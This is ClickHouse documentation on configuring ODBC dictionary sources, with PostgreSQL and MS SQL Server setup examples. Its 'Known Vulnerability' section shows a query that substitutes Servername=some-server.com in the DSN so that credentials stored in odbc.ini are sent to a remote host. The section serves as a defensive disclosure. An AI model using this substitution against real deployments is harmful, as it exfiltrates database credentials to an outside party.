ODBC dictionary source

[Edit this page](https://github.com/ClickHouse/ClickHouse/tree/master/docs/en/sql-reference/statements/create/dictionary/sources/odbc.md)

You can use this method to connect any database that has an ODBC driver.

Example of settings:

- DDL- Configuration file

```
SOURCE(ODBC(
    db 'DatabaseName'
    table 'SchemaName.TableName'
    connection_string 'DSN=some_parameters'
    invalidate_query 'SQL_QUERY'
    query 'SELECT id, value_1, value_2 FROM db_name.table_name'
))
```

```
<source>
    <odbc>
        <db>DatabaseName</db>
        <table>ShemaName.TableName</table>
        <connection_string>DSN=some_parameters</connection_string>
        <invalidate_query>SQL_QUERY</invalidate_query>
        <query>SELECT id, value_1, value_2 FROM ShemaName.TableName</query>
    </odbc>
</source>
```

  

Setting fields:

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Setting Description|  |  |  |  |  |  |  |  |  |  |  |  | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | `db` Name of the database. Omit it if the database name is set in the `<connection_string>` parameters.| `table` Name of the table and schema if exists.|  |  |  |  |  |  |  |  | | --- | --- | --- | --- | --- | --- | --- | --- | | `connection_string` Connection string.|  |  |  |  |  |  | | --- | --- | --- | --- | --- | --- | | `invalidate_query` Query for checking the dictionary status. Optional. Read more in the section [Refreshing dictionary data using LIFETIME](/docs/sql-reference/statements/create/dictionary/lifetime).| `background_reconnect` Reconnect to replica in background if connection fails. Optional.|  |  | | --- | --- | | `query` The custom query. Optional. | | | | | | | | | | | | | |

Note

The `table` and `query` fields cannot be used together. And either one of the `table` or `query` fields must be declared.

ClickHouse receives quoting symbols from ODBC-driver and quote all settings in queries to driver, so it's necessary to set table name accordingly to table name case in database.

If you have a problems with encodings when using Oracle, see the corresponding [FAQ](/docs/knowledgebase/oracle-odbc) item.

### Known Vulnerability of the ODBC Dictionary Functionality[​](#known-vulnerability-of-the-odbc-dictionary-functionality "Direct link to Known Vulnerability of the ODBC Dictionary Functionality")

Note

When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.

**Example of insecure use**

Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:

```
[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test
```

If you then make a query such as

```
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
```

ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.

### Example of Connecting Postgresql[​](#example-of-connecting-postgresql "Direct link to Example of Connecting Postgresql")

Ubuntu OS.

Installing unixODBC and the ODBC driver for PostgreSQL:

```
$ sudo apt-get install -y unixodbc odbcinst odbc-postgresql
```

Configuring `/etc/odbc.ini` (or `~/.odbc.ini` if you signed in under a user that runs ClickHouse):

```
    [DEFAULT]
    Driver = myconnection

    [myconnection]
    Description         = PostgreSQL connection to my_db
    Driver              = PostgreSQL Unicode
    Database            = my_db
    Servername          = 127.0.0.1
    UserName            = username
    Password            = password
    Port                = 5432
    Protocol            = 9.3
    ReadOnly            = No
    RowVersioning       = No
    ShowSystemTables    = No
    ConnSettings        =
```

The dictionary configuration in ClickHouse:

- DDL- Configuration file

```
CREATE DICTIONARY table_name (
    id UInt64,
    some_column UInt64 DEFAULT 0
)
PRIMARY KEY id
SOURCE(ODBC(connection_string 'DSN=myconnection' table 'postgresql_table'))
LAYOUT(HASHED())
LIFETIME(MIN 300 MAX 360)
```

```
<clickhouse>
    <dictionary>
        <name>table_name</name>
        <source>
            <odbc>
                <!-- You can specify the following parameters in connection_string: -->
                <!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
                <connection_string>DSN=myconnection</connection_string>
                <table>postgresql_table</table>
            </odbc>
        </source>
        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>
        <layout>
            <hashed/>
        </layout>
        <structure>
            <id>
                <name>id</name>
            </id>
            <attribute>
                <name>some_column</name>
                <type>UInt64</type>
                <null_value>0</null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>
```

  

You may need to edit `odbc.ini` to specify the full path to the library with the driver `DRIVER=/usr/local/lib/psqlodbcw.so`.

### Example of Connecting MS SQL Server[​](#example-of-connecting-ms-sql-server "Direct link to Example of Connecting MS SQL Server")

Ubuntu OS.

Installing the ODBC driver for connecting to MS SQL:

```
$ sudo apt-get install tdsodbc freetds-bin sqsh
```

Configuring the driver:

```
    $ cat /etc/freetds/freetds.conf
    ...

    [MSSQL]
    host = 192.168.56.101
    port = 1433
    tds version = 7.0
    client charset = UTF-8

    # test TDS connection
    $ sqsh -S MSSQL -D database -U user -P password


    $ cat /etc/odbcinst.ini

    [FreeTDS]
    Description     = FreeTDS
    Driver          = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
    Setup           = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
    FileUsage       = 1
    UsageCount      = 5

    $ cat /etc/odbc.ini
    # $ cat ~/.odbc.ini # if you signed in under a user that runs ClickHouse

    [MSSQL]
    Description     = FreeTDS
    Driver          = FreeTDS
    Servername      = MSSQL
    Database        = test
    UID             = test
    PWD             = test
    Port            = 1433


    # (optional) test ODBC connection (to use isql-tool install the [unixodbc](https://packages.debian.org/sid/unixodbc)-package)
    $ isql -v MSSQL "user" "password"
```

Remarks:

- to determine the earliest TDS version that is supported by a particular SQL Server version, refer to the product documentation or look at [MS-TDS Product Behavior](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/135d0ebe-5c4c-4a94-99bf-1811eccb9f4a)

Configuring the dictionary in ClickHouse:

- DDL- Configuration file

```
CREATE DICTIONARY test (
    k UInt64,
    s String DEFAULT ''
)
PRIMARY KEY k
SOURCE(ODBC(table 'dict' connection_string 'DSN=MSSQL;UID=test;PWD=test'))
LAYOUT(FLAT())
LIFETIME(MIN 300 MAX 360)
```

```
<clickhouse>
    <dictionary>
        <name>test</name>
        <source>
            <odbc>
                <table>dict</table>
                <connection_string>DSN=MSSQL;UID=test;PWD=test</connection_string>
            </odbc>
        </source>

        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>

        <layout>
            <flat />
        </layout>

        <structure>
            <id>
                <name>k</name>
            </id>
            <attribute>
                <name>s</name>
                <type>String</type>
                <null_value></null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>
```

- [Known Vulnerability of the ODBC Dictionary Functionality](#known-vulnerability-of-the-odbc-dictionary-functionality)- [Example of Connecting Postgresql](#example-of-connecting-postgresql)- [Example of Connecting MS SQL Server](#example-of-connecting-ms-sql-server)

Was this page helpful?